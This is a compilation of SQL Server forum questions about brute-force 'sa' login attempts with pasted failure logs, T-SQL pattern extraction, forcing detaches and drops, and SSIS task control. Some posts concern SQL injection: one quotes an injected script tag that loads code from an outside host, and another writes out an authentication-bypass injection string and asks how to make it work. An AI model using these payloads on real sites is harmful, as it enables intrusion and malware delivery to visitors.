Im looking at the sql server log, and I see a strange behavior.
Im getting at least 5 "sa" login attempts from an sepcific IP address.
How can I avoid this, lock that IP or add a delay to 'sa' failed logins?
In the Application event log I am seeing entries like the following:
Login failed for user 'sa'. [CLIENT: 60.32.67.85]
Once every second.
I am assuming this is a brute force password attack, an ARIN query of the IP address indicates it's from: Asia Pacific Network Information CentreIs there any way to block this IP from accessing my server?Thanks,Tylerp.s. I tried posting this on MSDN forums, but the site appears to be broken.
It is not uncommon for me to review the event logs of our SQL Server and notice that someone is attempting to figure out the password for one of the SQL user accounts.........especially the "sa" username. But lately our SQL server has to be rebooted to where it is starting to become a nightly thing.
Last night the SQL Server was bombarded with attempted failed connections for 2 hours before it finally gave a blank BSOD. The SQL Server in question is in mixed mode and is a shared server. Strictly using Windows Authentication mode is not an option for us. The server has "beefy" hardware and has all updates and patches.
Sometimes, when I log on the server and notice that an IP address is making such attacks on the server, I put up an IPSEC policy against that IP. But that is not a good solution for reasons I dont think need to be outlined here.
So my question is, what can I do to better protect our SQL Server from these types of attacks? My thought on these attacks is not different than a DDOS that eventually takes the server down.
I have already done TCP/IP Hardening but not sure what else to do.
In my product description field, I need to extract the data that looks like 19-3-19 or 0-0-7. Sometimes that pattern is in the data, sometimes not. I only want those that contain the pattern, of course, but I have no other method of determining whether or not the pattern will be in the description. I thought I'd found a method that worked, until I encountered descriptions that had a '-' in it prior to the pattern.
Here's what I have so far, it works for all but the last one.
CREATE TABLE #TMPPROD ( PROD_DESC VARCHAR(60) ) INSERT INTO #TMPPROD SELECT '22-4-12 15%SCU' UNION ALL SELECT '14-4-8 W/F' UNION ALL SELECT 'UFLEXX 17-3-17 2%FE' UNION ALL SELECT 'FERT-PEST 19-19-19'
SELECT PROD_DESC, SUBSTRING(PROD_DESC,CHARINDEX('-', PROD_DESC)-CASE WHEN PATINDEX('[0-9]', SUBSTRING(PROD_DESC, CHARINDEX('-', PROD_DESC) - 2,1))<>0 THEN 2 WHEN PATINDEX('[0-9]', SUBSTRING(PROD_DESC, CHARINDEX('-', PROD_DESC) - 1,1))<>0 THEN 1 ELSE 0 END, CHARINDEX('-', SUBSTRING(PROD_DESC, CHARINDEX('-',PROD_DESC)+1,2))+CASE WHEN PATINDEX('[0-9]', SUBSTRING(PROD_DESC, CHARINDEX('-', PROD_DESC) - 2,1))<>0 THEN 2 WHEN PATINDEX('[0-9]', SUBSTRING(PROD_DESC, CHARINDEX('-', PROD_DESC) - 1,1))<>0 THEN 1 ELSE 0 END+2+CASE WHEN PATINDEX('[0-9]', SUBSTRING(PROD_DESC, CHARINDEX('-', PROD_DESC) +1,2))<>0 THEN 2 WHEN PATINDEX('[0-9]', SUBSTRING(PROD_DESC, CHARINDEX('-', PROD_DESC) - 1,1))<>0 THEN 1 ELSE 0 END) AS 'ANALYSIS' FROM #TMPPROD WHERE PROD_DESC LIKE '%-[0-9]%-[0-9]%'
DROP TABLE #TMPPROD
Any pointers on what to try next, or have I severely over-complicated the process - as I am wont to do.
I restored a huge ReportServer backup on a dev machine and I do not want the subscriptions and their jobs. I already changed the SMTP server address so emails will go to nowhere.
Now What is the best sequence to get a rid of all subscriptions?
Delete records (or truncate) from the ReportServer.Subscriptions table then delete all the subscriptions jobs or the other way around?
BTY, a centralized management of subscriptions as well as stuffing all these jobs into a folder would be a welcome addition.
I've got a huge inefficiency in my code that I'm trying to fix. I’m coding in VB.NET using ASP.NET and an MSSQL 2000 server.
I’m working in a temporary table that has an identical layout as another, non-temporary table in my database. Once I get the temp table how I want it, I need to insert everything from that table into my main table. Before I can do that, however, I need to delete all the records in the main table with certain fields that match a record’s fields in the temporary table.
Right now, I have a method that builds one delete statement per record in the temporary table and then runs those statements on the main table. Since I’m dealing with the order of 50,000 records (at least) here, building and sending those statements to the server takes forever.
Is there a way I can accomplish the same thing without building and sending such a huge SQL call to the server? If so, how would I go about doing that?
Thanks in advance for whatever help you can give, -Starwiz
Hi, I need to find out what sql injection attack is, what it does how it is done and how to protect form it....Any through explanation will be much appreciated. Thanks Kabir
Hi Recently we moved our site from Access to MS SQL Server 2005 Express on a dedicated server. Guess what.... we came under some attack (may be SQL injection). Our database was manipulated and data's in some field were replaced by "<script src=http://9i5t.cn/a.js></script>" We don't know how it was done .. then i googled around to find any clue . too my surprise i found around 30,000 sites which were affected by this / have a look http://www.google.com/search?hl=en&q=%22http%3A%2F%2F9i5t.cn%2Fa.js%22&btnG=SearchAnd also an interest fact popped up also sites where in ASP But unfortunately no documentation was available for it ... So i wonder if their is any flaw in coding or database permission .. 30,000 webmaster can't go wrong. May be their is security flaw either in SQL Server 2005 or ASP .. can't say As of now i have cleared my database using find and replace function. But i know we might me soon be under attack again Please help me out find out exact reason for it .. Thanks in advanceSuraj jain
hi, Hope everybody is fine.Well,today I want to know the smartest ways to prevent sql injection attacks.It would be really helpful if anybody gives light to it. Thanks!!
All,I am trying to test an attack against a web page. The VBScript runs 2queries against the database; the first must succeed before the secondruns. Here is the code:1st-select * from users where (userid=' + @string + ') and password=' +@pwdstring + '2nd-select * from permissions where userid=' + @string + 'When attempting the attack the problem lies in the "(" & ")"surrounding the first userid string in the 1st query. if I attempt toput a ")" in the original @string function to cancel out the first "("it then causes problems for the second string. Also, the @pwdstringgets encrypted before it is sent to the SQL Server, so attempting theattack from that field is useless.For instance:@string = ' or 1=1)--@pwdstring = blank (becomes @pwdstring = 55-12-567-3244-123 due toencryption)select * from users where (userid='' or 1=1)--') andpassword='55-12-567-3244-123' WORKS OKselect * from permissions where userid='' or 1=1)--' DOES NOT WORKIs this an instance where the original developers made a happy codingerror (I asked and preventing injection attacks wasn't intended) or isthere something I can do to circumvent this?Thanks,josh
I have a question on whether the following stored precedure would be open to an SQL Injection attack. Assume that a string query would be passed to the SP.
I am told that because the password parameter is only varchar(8) that it is safe.
select Name from dbo.JB_Test where Name = @Username and Password = @Password GO
--Clean Up Your Mess --Drop procedure dbo.JB_Test_Login --GO
--Drop Table dbo.JB_Test --GO
JBelthoff • Hosts Station is a Professional Asp Hosting Provider • Position SEO can provide your company with SEO Services at an affordable price › As far as myself... I do this for fun!
can any one please let me know what is below mentioned errors i found on my newly installed sql server and also let me know severiarity of this and if you know the solution for this i would wel come all your suggestion.
12/24/2006 05:48:47,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:45,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:45,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:44,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:44,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:41,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:41,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:28,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:28,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8., 12/24/2006 05:48:27,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17], 12/24/2006 05:48:27,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
since last so many days i found that these kind of errors on sql server 2005.It occurs contineously so it keeps server busy all the time.
I have attached a portion of this error log.Thanks for all your help and the time you took to look at my question.
I like this forum but recently I have noticed they are running ads with sound effects.
I like a lot of programmers I know listen to music through their computer with headphones on all day. Whenever one of those adds fire off it about scares the BeJesus of me and comes through louder than the music. I am playing with my settings but I each time I find one that kills the sound effects it kills the music too.
I need to detach a Database, but with "EXEC sp_detach_db 'test','false'" I can't do this because it is in use. Is there a Possibility to make a "force detach" or something?
Forgive my ignorance. I have been told you cannot run a force restore without SQL Agent running? Is that so?
Also, is it possible to execute a force restore from a command line. If so, how would you go about do this.
I ask these questions because recently our database and MSBD files became corrupted and couldn't restore them in the normal way. Had to manually rebuild MSDB file.
I have a script or SP that takes a very long time to performmultiple tasks, and after each one there is a PRINT statementthat shows the time and what was just accomplished, to help memonitor what's happening and estimate how long it will take.In a script, I can put a GO after each PRINT to cause the outputto appear immediately, but that's not possible inside an SP.Instead, it seems the output goes to a buffer, and the bufferis only output when a PRINT causes the buffer to become full.Sometimes there is a long delay before the buffer fills. Isthere a way other than GO to cause immediate printing? (Iguess I could just use longer messages, and fill up thebuffer with every one, but that's not very elegant.)Thanks,Jim GCountrywide Home Loans
I've a complex stored procedure, that makes a lot of insert, update,delete and so on.I would like to make some commits durint this sp, but of course theyare not "real" commit because who call the sp could decide for arollback.But I know that this commit has to be real. In fact, the transactionlog grows really too much during the execution.Is there a way to force a commit durint a sp ?thank you very much!
I set up odbc to link to sql express from access 2003, using sql authentication to force a login, and did not click 'save password'. when i open up access again, and open table, it goes right in without a login. How can I set so it does a login, at least each time Access opens?
I want to configure SQL 2k5 Express so that all connections are encrypted. I've found the documentation that gives the How-To steps, but I don't see the SSL option in the Network Configuration.
Is this possible with the Express edition?
Do I need to do something special with the installation?
My data flow has several transformations: 1. Search an employee, if the employee already exists, update it, otherwise insert it. 2. Once the new employee is created, i have to get its id (with another search transformation )to update another table with it. This id is an autonumeric , thats the reason i have to get it once the record is inserted.
At this momment this second search transformation to get the assigned id for the new reacord doesnt find any employee... i suppose its because these new data is not commited in the database....
I have a report that has multiple graphs on it. I would like to force a page break (new page) in between the different reports causing a report to be generated on it own page. Im assuming that Im missing something here because it seems like a easy/usable feature. Any help would be great.
I have a package that goes out and picks up a file off of a ftp server using the ftp task. How do I force the package to stop running if the file is not there?
I would like to know if there would be any special way to force drop a database from an ASP.NET page.
When I try to do it in the normal way, it gives me an exception like: Cannot drop the database 'xxxxxxx' because it is currently in use. I'would have to wait until there is a timeout. In fact that database can be accessed from another pages, but I want to know if I'd be able to force drop database even when another pages are using it.
I am connection to a SQL server that has force protocol encryption checked. From my ASP.net application, specifically in my connection string, what parameter do I need to use to take advantage of this encryption?
I have a DTS package in which I would like it to fail if the table is empty. I would like to create the first task as this check (i.e. select @cnt = count(*) ... if @count = 0 then fail the task (to prevent further DTS Task processing.
Does anyone have an example or suggestion on how to set this particular Execute SQL Task to fail?
Does anyone know a way to force out all users from a particular database? I need to script this to perform some maintenance at a particular time every day.
I created a view from a table with out any where clause. All the rows from the table will be in the view with some extra info.
The table has a few indexes.
In my stored procedure I am storing two columns from the table ( IdHi , IdLo - primary key ) into a temp table and joining the temp to the view. Here the query is taking too much time and not using the index. Can I force the primary key index on View?
Does anyone know how to force a SSIS step to fail? I don’t want to export a file if no records were written.
I found this but not quite sure how to implement it: To do this, double-click on the connector line joining 2 of your ExecuteSQL tasks and change the "Evaluation operation:" to any of the options that include "Expression". This enables you to enter a boolean expression that must evaluate to true for the path to be followed. Assuming you've got an int parameter called "sp1rtnvalue" which must evaluate to 1 for the flow to continue; your expression would be: @sp1rtnvalue == 1
Am I suppose to define a @sp1rtnvalue in the stored procedure that creates the file I want to monitor? Do a record count in the stored procedure. In my pkg I enter the expression @sp1rtnvalue == 1 when I run that step the expression will evaluate to false and fail?
If so where exactly do I enter the Boolean expression (@sp1rtnvalue == 1) , what tab in what dialog/wizard??